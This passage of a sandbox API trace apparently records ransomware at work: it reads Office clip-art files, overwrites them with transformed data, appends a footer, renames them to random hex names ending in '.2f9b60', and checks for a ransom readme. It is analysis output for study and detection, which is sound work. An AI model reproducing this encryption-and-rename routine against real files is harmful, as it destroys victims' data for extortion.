dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0125.176] WriteFile (in: hFile=0x1038, lpBuffer=0x167280*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2106fc90, lpOverlapped=0x0 | out: lpBuffer=0x167280*, lpNumberOfBytesWritten=0x2106fc90*=0x10a, lpOverlapped=0x0) returned 1 [0125.178] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059880 [0125.178] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504190 [0125.178] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6ec0 [0125.178] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6ec0) returned 1 [0125.178] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0125.178] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6ec0 [0125.178] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6aa0 [0125.178] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6aa0) returned 1 [0125.178] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504190) returned 1 [0125.178] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0125.178] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0570 [0125.178] sprintf (in: _Dest=0x1cda0570, _Format="%c%c" | out: _Dest="f1") returned 2 [0125.178] sprintf (in: _Dest=0x1cda0572, _Format="%c%c" | out: _Dest="da") returned 2 [0125.178] sprintf (in: _Dest=0x1cda0574, _Format="%c%c" | out: _Dest="bb") returned 2 [0125.178] sprintf (in: _Dest=0x1cda0576, _Format="%c%c" | out: _Dest="21") returned 2 [0125.178] sprintf (in: _Dest=0x1cda0578, _Format="%c%c" | out: _Dest="79") returned 2 [0125.178] sprintf (in: _Dest=0x1cda057a, _Format="%c%c" | out: _Dest="98") returned 2 [0125.179] sprintf (in: _Dest=0x1cda057c, _Format="%c%c" | out: _Dest="68") returned 2 [0125.179] sprintf (in: _Dest=0x1cda057e, _Format="%c%c" | out: _Dest="e1") returned 2 [0125.179] sprintf (in: _Dest=0x1cda0580, _Format="%c%c" | out: _Dest="f3") returned 2 [0125.179] sprintf (in: _Dest=0x1cda0582, _Format="%c%c" | out: _Dest="df") returned 2 [0125.179] sprintf (in: _Dest=0x1cda0584, _Format="%c%c" | out: _Dest="ba") returned 2 [0125.179] sprintf (in: _Dest=0x1cda0586, _Format="%c%c" | out: _Dest="ba") returned 2 [0125.179] sprintf (in: _Dest=0x1cda0588, _Format="%c%c" | out: _Dest="9a") returned 2 [0125.179] sprintf (in: _Dest=0x1cda058a, _Format="%c%c" | out: _Dest="70") returned 2 [0125.179] sprintf (in: _Dest=0x1cda058c, _Format="%c%c" | out: _Dest="97") returned 2 [0125.179] sprintf (in: _Dest=0x1cda058e, _Format="%c%c" | out: _Dest="b9") returned 2 [0125.179] sprintf (in: _Dest=0x1cda0590, _Format="%c%c" | out: _Dest="bc") returned 2 [0125.179] sprintf (in: _Dest=0x1cda0592, _Format="%c%c" | out: _Dest="64") returned 2 [0125.179] sprintf (in: _Dest=0x1cda0594, _Format="%c%c" | out: _Dest="49") returned 2 [0125.179] sprintf (in: _Dest=0x1cda0596, _Format="%c%c" | out: _Dest="de") returned 2 [0125.179] sprintf (in: _Dest=0x1cda0598, _Format="%c%c" | out: _Dest="d2") returned 2 [0125.179] sprintf (in: _Dest=0x1cda059a, _Format="%c%c" | out: _Dest="e4") returned 2 [0125.179] sprintf (in: _Dest=0x1cda059c, _Format="%c%c" | out: _Dest="2b") returned 2 [0125.179] sprintf (in: _Dest=0x1cda059e, _Format="%c%c" | out: _Dest="1c") returned 2 [0125.179] RtlInitAnsiString (in: DestinationString=0x2106fd08, SourceString="f1dabb21799868e1f3dfbaba9a7097b9bc6449ded2e42b1c" | out: DestinationString="f1dabb21799868e1f3dfbaba9a7097b9bc6449ded2e42b1c") [0125.179] RtlAnsiStringToUnicodeString (in: DestinationString=0x2106fcd8, SourceString="f1dabb21799868e1f3dfbaba9a7097b9bc6449ded2e42b1c", AllocateDestinationString=1 | out: DestinationString="f1dabb21799868e1f3dfbaba9a7097b9bc6449ded2e42b1c") returned 0x0 [0125.179] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b8647d0 [0125.179] wcscat (in: _Dest=0x2027bd70, _Source="f1dabb217998" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f1dabb217998") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f1dabb217998" [0125.179] wcscat (in: _Dest=0x2027bd70, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f1dabb217998.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f1dabb217998.2f9b60" [0125.179] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f1dabb217998.2f9b60", NtPathName=0x2106fcb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f1dabb217998.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0125.179] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x107780 [0125.181] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107780) returned 1 [0125.181] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48b30) returned 1 [0125.181] NtQueryInformationFile (in: FileHandle=0x1038, IoStatusBlock=0x2106fd18, FileInformation=0x2106fd28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2106fd18, FileInformation=0x2106fd28) returned 0x0 [0125.181] NtSetInformationFile (FileHandle=0x1038, IoStatusBlock=0x2106fd18, FileInformation=0x2106fd28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0125.183] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027bd70) returned 1 [0125.183] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8647d0) returned 1 [0125.183] FlushFileBuffers (hFile=0x1038) returned 1 [0125.184] CloseHandle (hObject=0x1038) returned 1 [0125.185] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x2027bd70 [0125.185] wcscpy (in: _Dest=0x2027bd70, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0125.185] wcscat (in: _Dest=0x2027bd70, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0125.185] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0125.185] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027bd70) returned 1 [0125.185] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85cf90) returned 1 Thread: id = 1614 os_tid = 0x1abc [0125.199] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf")) returned 0x20 [0125.200] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF", dwFileAttributes=0x20) returned 1 [0125.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1038 [0125.201] GetFileSizeEx (in: hFile=0x1038, lpFileSize=0x2200fa60 | out: lpFileSize=0x2200fa60*=7176) returned 1 [0125.201] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x1c04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.201] ReadFile (in: hFile=0x1038, lpBuffer=0x2200f9e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2200fa28, lpOverlapped=0x0 | out: lpBuffer=0x2200f9e0*, lpNumberOfBytesRead=0x2200fa28*=0x4, lpOverlapped=0x0) returned 1 [0125.203] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.203] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7580 [0125.203] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7ac0 [0125.203] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a65c0 [0125.203] NtQuerySystemTime (in: CurrentTime=0x2200f920 | out: CurrentTime=0x2200f920*=132462177305638000) returned 0x0 [0125.203] RtlRandomEx (in: Seed=0x2200f910 | out: Seed=0x2200f910) returned 0x490ca71a [0125.203] RtlRandomEx (in: Seed=0x2200f910 | out: Seed=0x2200f910) returned 0x6b7da2cd [0125.203] RtlRandomEx (in: Seed=0x2200f910 | out: Seed=0x2200f910) returned 0x247923c9 [0125.203] RtlRandomEx (in: Seed=0x2200f910 | out: Seed=0x2200f910) returned 0x413f6cea [0125.203] RtlRandomEx (in: Seed=0x2200f910 | out: Seed=0x2200f910) returned 0x1aaa61bd [0125.203] RtlRandomEx (in: Seed=0x2200f910 | out: Seed=0x2200f910) returned 0x350ba46 [0125.203] RtlRandomEx (in: Seed=0x2200f910 | out: Seed=0x2200f910) returned 0x638a351 [0125.203] RtlRandomEx (in: Seed=0x2200f910 | out: Seed=0x2200f910) returned 0x396889d7 [0125.203] RtlRandomEx (in: Seed=0x2200f910 | out: Seed=0x2200f910) returned 0x284e78a9 [0125.203] RtlRandomEx (in: Seed=0x2200f910 | out: Seed=0x2200f910) returned 0x2e0f7ffc [0125.203] RtlRandomEx (in: Seed=0x2200f910 | out: Seed=0x2200f910) returned 0x49ce6edb [0125.203] RtlRandomEx (in: Seed=0x2200f910 | out: Seed=0x2200f910) returned 0x42e90005 [0125.203] RtlRandomEx (in: Seed=0x2200f910 | out: Seed=0x2200f910) returned 0x7e933a2f [0125.203] RtlRandomEx (in: Seed=0x2200f910 | out: Seed=0x2200f910) returned 0x7bfac148 [0125.203] RtlRandomEx (in: Seed=0x2200f910 | out: Seed=0x2200f910) returned 0xae8ad3e [0125.204] RtlRandomEx (in: Seed=0x2200f910 | out: Seed=0x2200f910) returned 0x515a86f8 [0125.204] RtlRandomEx (in: Seed=0x2200f910 | out: Seed=0x2200f910) returned 0x7b5509aa [0125.204] RtlRandomEx (in: Seed=0x2200f910 | out: Seed=0x2200f910) returned 0x2edad844 [0125.204] RtlRandomEx (in: Seed=0x2200f910 | out: Seed=0x2200f910) returned 0x5dd27455 [0125.204] RtlRandomEx (in: Seed=0x2200f910 | out: Seed=0x2200f910) returned 0x5f064276 [0125.204] RtlRandomEx (in: Seed=0x2200f910 | out: Seed=0x2200f910) returned 0x3fa3b773 [0125.204] RtlRandomEx (in: Seed=0x2200f910 | out: Seed=0x2200f910) returned 0x7692d6a9 [0125.204] RtlRandomEx (in: Seed=0x2200f910 | out: Seed=0x2200f910) returned 0x7403819c [0125.204] RtlRandomEx (in: Seed=0x2200f910 | out: Seed=0x2200f910) returned 0x177b4064 [0125.204] RtlRandomEx (in: Seed=0x2200f910 | out: Seed=0x2200f910) returned 0x10af6a06 [0125.204] RtlRandomEx (in: Seed=0x2200f910 | out: Seed=0x2200f910) returned 0x4cb10f12 [0125.204] RtlRandomEx (in: Seed=0x2200f910 | out: Seed=0x2200f910) returned 0x51bda20b [0125.204] RtlRandomEx (in: Seed=0x2200f910 | out: Seed=0x2200f910) returned 0x896f0bd [0125.204] RtlRandomEx (in: Seed=0x2200f910 | out: Seed=0x2200f910) returned 0x1316799f [0125.204] RtlRandomEx (in: Seed=0x2200f910 | out: Seed=0x2200f910) returned 0x4cfaac4c [0125.204] RtlRandomEx (in: Seed=0x2200f910 | out: Seed=0x2200f910) returned 0x32777afd [0125.204] RtlRandomEx (in: Seed=0x2200f910 | out: Seed=0x2200f910) returned 0x19323dd1 [0125.214] ReadFile (in: hFile=0x1038, lpBuffer=0x41b22d00, nNumberOfBytesToRead=0x1c08, lpNumberOfBytesRead=0x2200f910, lpOverlapped=0x0 | out: lpBuffer=0x41b22d00*, lpNumberOfBytesRead=0x2200f910*=0x1c08, lpOverlapped=0x0) returned 1 [0125.226] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.226] WriteFile (in: hFile=0x1038, lpBuffer=0x41b1f0f0*, nNumberOfBytesToWrite=0x1c08, lpNumberOfBytesWritten=0x2200f914, lpOverlapped=0x0 | out: lpBuffer=0x41b1f0f0*, lpNumberOfBytesWritten=0x2200f914*=0x1c08, lpOverlapped=0x0) returned 1 [0125.228] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7580 [0125.228] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a65c0 [0125.228] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a65c0) returned 1 [0125.228] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b1f0f0) returned 1 [0125.228] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b22d00) returned 1 [0125.228] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504190) returned 1 [0125.228] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0125.228] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202a65c0 [0125.228] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0125.229] WriteFile (in: hFile=0x1038, lpBuffer=0x167280*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2200fa30, lpOverlapped=0x0 | out: lpBuffer=0x167280*, lpNumberOfBytesWritten=0x2200fa30*=0x10a, lpOverlapped=0x0) returned 1 [0125.230] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059880 [0125.230] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504190 [0125.230] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a75b0 [0125.230] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a75b0) returned 1 [0125.230] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0125.230] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a75b0 [0125.230] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6ec0 [0125.230] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6ec0) returned 1 [0125.230] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504190) returned 1 [0125.230] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0125.230] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0570 [0125.230] sprintf (in: _Dest=0x1cda0570, _Format="%c%c" | out: _Dest="1f") returned 2 [0125.230] sprintf (in: _Dest=0x1cda0572, _Format="%c%c" | out: _Dest="ba") returned 2 [0125.231] sprintf (in: _Dest=0x1cda0574, _Format="%c%c" | out: _Dest="78") returned 2 [0125.231] sprintf (in: _Dest=0x1cda0576, _Format="%c%c" | out: _Dest="5a") returned 2 [0125.231] sprintf (in: _Dest=0x1cda0578, _Format="%c%c" | out: _Dest="24") returned 2 [0125.231] sprintf (in: _Dest=0x1cda057a, _Format="%c%c" | out: _Dest="1f") returned 2 [0125.231] sprintf (in: _Dest=0x1cda057c, _Format="%c%c" | out: _Dest="2f") returned 2 [0125.231] sprintf (in: _Dest=0x1cda057e, _Format="%c%c" | out: _Dest="1f") returned 2 [0125.231] sprintf (in: _Dest=0x1cda0580, _Format="%c%c" | out: _Dest="be") returned 2 [0125.231] sprintf (in: _Dest=0x1cda0582, _Format="%c%c" | out: _Dest="c9") returned 2 [0125.231] sprintf (in: _Dest=0x1cda0584, _Format="%c%c" | out: _Dest="80") returned 2 [0125.231] sprintf (in: _Dest=0x1cda0586, _Format="%c%c" | out: _Dest="45") returned 2 [0125.231] sprintf (in: _Dest=0x1cda0588, _Format="%c%c" | out: _Dest="a0") returned 2 [0125.231] sprintf (in: _Dest=0x1cda058a, _Format="%c%c" | out: _Dest="2d") returned 2 [0125.231] sprintf (in: _Dest=0x1cda058c, _Format="%c%c" | out: _Dest="37") returned 2 [0125.231] sprintf (in: _Dest=0x1cda058e, _Format="%c%c" | out: _Dest="11") returned 2 [0125.231] sprintf (in: _Dest=0x1cda0590, _Format="%c%c" | out: _Dest="6e") returned 2 [0125.231] sprintf (in: _Dest=0x1cda0592, _Format="%c%c" | out: _Dest="07") returned 2 [0125.231] sprintf (in: _Dest=0x1cda0594, _Format="%c%c" | out: _Dest="d6") returned 2 [0125.231] sprintf (in: _Dest=0x1cda0596, _Format="%c%c" | out: _Dest="d3") returned 2 [0125.231] sprintf (in: _Dest=0x1cda0598, _Format="%c%c" | out: _Dest="60") returned 2 [0125.231] sprintf (in: _Dest=0x1cda059a, _Format="%c%c" | out: _Dest="a0") returned 2 [0125.231] sprintf (in: _Dest=0x1cda059c, _Format="%c%c" | out: _Dest="76") returned 2 [0125.231] sprintf (in: _Dest=0x1cda059e, _Format="%c%c" | out: _Dest="97") returned 2 [0125.231] RtlInitAnsiString (in: DestinationString=0x2200faa8, SourceString="1fba785a241f2f1fbec98045a02d37116e07d6d360a07697" | out: DestinationString="1fba785a241f2f1fbec98045a02d37116e07d6d360a07697") [0125.231] RtlAnsiStringToUnicodeString (in: DestinationString=0x2200fa78, SourceString="1fba785a241f2f1fbec98045a02d37116e07d6d360a07697", AllocateDestinationString=1 | out: DestinationString="1fba785a241f2f1fbec98045a02d37116e07d6d360a07697") returned 0x0 [0125.231] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b8639d0 [0125.232] wcscat (in: _Dest=0x2027bd70, _Source="1fba785a241f" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\1fba785a241f") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\1fba785a241f" [0125.232] wcscat (in: _Dest=0x2027bd70, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\1fba785a241f.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\1fba785a241f.2f9b60" [0125.232] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\1fba785a241f.2f9b60", NtPathName=0x2200fa50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\1fba785a241f.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0125.232] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x107780 [0125.233] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107780) returned 1 [0125.233] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48b30) returned 1 [0125.233] NtQueryInformationFile (in: FileHandle=0x1038, IoStatusBlock=0x2200fab8, FileInformation=0x2200fac8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2200fab8, FileInformation=0x2200fac8) returned 0x0 [0125.233] NtSetInformationFile (FileHandle=0x1038, IoStatusBlock=0x2200fab8, FileInformation=0x2200fac8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0125.235] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027bd70) returned 1 [0125.235] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8639d0) returned 1 [0125.235] FlushFileBuffers (hFile=0x1038) returned 1 [0125.251] CloseHandle (hObject=0x1038) returned 1 [0125.252] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x2027bd70 [0125.253] wcscpy (in: _Dest=0x2027bd70, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0125.253] wcscat (in: _Dest=0x2027bd70, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0125.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0125.253] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027bd70) returned 1 [0125.253] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d1d0) returned 1 Thread: id = 1615 os_tid = 0x1ac0 [0125.223] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf")) returned 0x20 [0125.223] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF", dwFileAttributes=0x20) returned 1 [0125.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x103c [0125.224] GetFileSizeEx (in: hFile=0x103c, lpFileSize=0x222bf6a0 | out: lpFileSize=0x222bf6a0*=3494) returned 1 [0125.225] SetFilePointerEx (in: hFile=0x103c, liDistanceToMove=0xda2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.225] ReadFile (in: hFile=0x103c, lpBuffer=0x222bf620, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x222bf668, lpOverlapped=0x0 | out: lpBuffer=0x222bf620*, lpNumberOfBytesRead=0x222bf668*=0x4, lpOverlapped=0x0) returned 1 [0125.242] SetFilePointerEx (in: hFile=0x103c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.242] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7520 [0125.242] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6b90 [0125.242] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7ac0 [0125.242] NtQuerySystemTime (in: CurrentTime=0x222bf560 | out: CurrentTime=0x222bf560*=132462177306106000) returned 0x0 [0125.242] RtlRandomEx (in: Seed=0x222bf550 | out: Seed=0x222bf550) returned 0x38c3c1d4 [0125.242] RtlRandomEx (in: Seed=0x222bf550 | out: Seed=0x222bf550) returned 0x45f1f3d9 [0125.242] RtlRandomEx (in: Seed=0x222bf550 | out: Seed=0x222bf550) returned 0x4ce0f105 [0125.242] RtlRandomEx (in: Seed=0x222bf550 | out: Seed=0x222bf550) returned 0x64d08a38 [0125.242] RtlRandomEx (in: Seed=0x222bf550 | out: Seed=0x222bf550) returned 0x7f3c5f54 [0125.242] RtlRandomEx (in: Seed=0x222bf550 | out: Seed=0x222bf550) returned 0x54680851 [0125.242] RtlRandomEx (in: Seed=0x222bf550 | out: Seed=0x222bf550) returned 0xe9d6bbd [0125.242] RtlRandomEx (in: Seed=0x222bf550 | out: Seed=0x222bf550) returned 0x694451e2 [0125.242] RtlRandomEx (in: Seed=0x222bf550 | out: Seed=0x222bf550) returned 0x5d1c3fe5 [0125.242] RtlRandomEx (in: Seed=0x222bf550 | out: Seed=0x222bf550) returned 0x118d4043 [0125.242] RtlRandomEx (in: Seed=0x222bf550 | out: Seed=0x222bf550) returned 0x35439661 [0125.242] RtlRandomEx (in: Seed=0x222bf550 | out: Seed=0x222bf550) returned 0x4452e6d7 [0125.242] RtlRandomEx (in: Seed=0x222bf550 | out: Seed=0x222bf550) returned 0x29514ebc [0125.242] RtlRandomEx (in: Seed=0x222bf550 | out: Seed=0x222bf550) returned 0x4cf9ba82 [0125.242] RtlRandomEx (in: Seed=0x222bf550 | out: Seed=0x222bf550) returned 0x55404522 [0125.242] RtlRandomEx (in: Seed=0x222bf550 | out: Seed=0x222bf550) returned 0x3ed568e9 [0125.243] RtlRandomEx (in: Seed=0x222bf550 | out: Seed=0x222bf550) returned 0x5faeb68f [0125.243] RtlRandomEx (in: Seed=0x222bf550 | out: Seed=0x222bf550) returned 0x4182a2f9 [0125.243] RtlRandomEx (in: Seed=0x222bf550 | out: Seed=0x222bf550) returned 0x6e821b9b [0125.243] RtlRandomEx (in: Seed=0x222bf550 | out: Seed=0x222bf550) returned 0x516364dc [0125.243] RtlRandomEx (in: Seed=0x222bf550 | out: Seed=0x222bf550) returned 0x5fd8ba4f [0125.243] RtlRandomEx (in: Seed=0x222bf550 | out: Seed=0x222bf550) returned 0x1b23d1be [0125.243] RtlRandomEx (in: Seed=0x222bf550 | out: Seed=0x222bf550) returned 0x4e7b468f [0125.243] RtlRandomEx (in: Seed=0x222bf550 | out: Seed=0x222bf550) returned 0xb343229 [0125.243] RtlRandomEx (in: Seed=0x222bf550 | out: Seed=0x222bf550) returned 0x77684fe3 [0125.243] RtlRandomEx (in: Seed=0x222bf550 | out: Seed=0x222bf550) returned 0x5cd98865 [0125.243] RtlRandomEx (in: Seed=0x222bf550 | out: Seed=0x222bf550) returned 0x3d5656a5 [0125.243] RtlRandomEx (in: Seed=0x222bf550 | out: Seed=0x222bf550) returned 0x2a7b83dc [0125.243] RtlRandomEx (in: Seed=0x222bf550 | out: Seed=0x222bf550) returned 0x3f5d000 [0125.243] RtlRandomEx (in: Seed=0x222bf550 | out: Seed=0x222bf550) returned 0x2c1dae33 [0125.243] RtlRandomEx (in: Seed=0x222bf550 | out: Seed=0x222bf550) returned 0x3a77a70e [0125.243] RtlRandomEx (in: Seed=0x222bf550 | out: Seed=0x222bf550) returned 0x757b340f [0125.250] ReadFile (in: hFile=0x103c, lpBuffer=0x41b22d00, nNumberOfBytesToRead=0xda6, lpNumberOfBytesRead=0x222bf550, lpOverlapped=0x0 | out: lpBuffer=0x41b22d00*, lpNumberOfBytesRead=0x222bf550*=0xda6, lpOverlapped=0x0) returned 1 [0125.250] SetFilePointerEx (in: hFile=0x103c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.250] WriteFile (in: hFile=0x103c, lpBuffer=0x41b1f0f0*, nNumberOfBytesToWrite=0xda6, lpNumberOfBytesWritten=0x222bf554, lpOverlapped=0x0 | out: lpBuffer=0x41b1f0f0*, lpNumberOfBytesWritten=0x222bf554*=0xda6, lpOverlapped=0x0) returned 1 [0125.254] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a76d0 [0125.254] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7520 [0125.254] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7520) returned 1 [0125.254] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b1f0f0) returned 1 [0125.254] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b22d00) returned 1 [0125.254] RtlFreeHeap 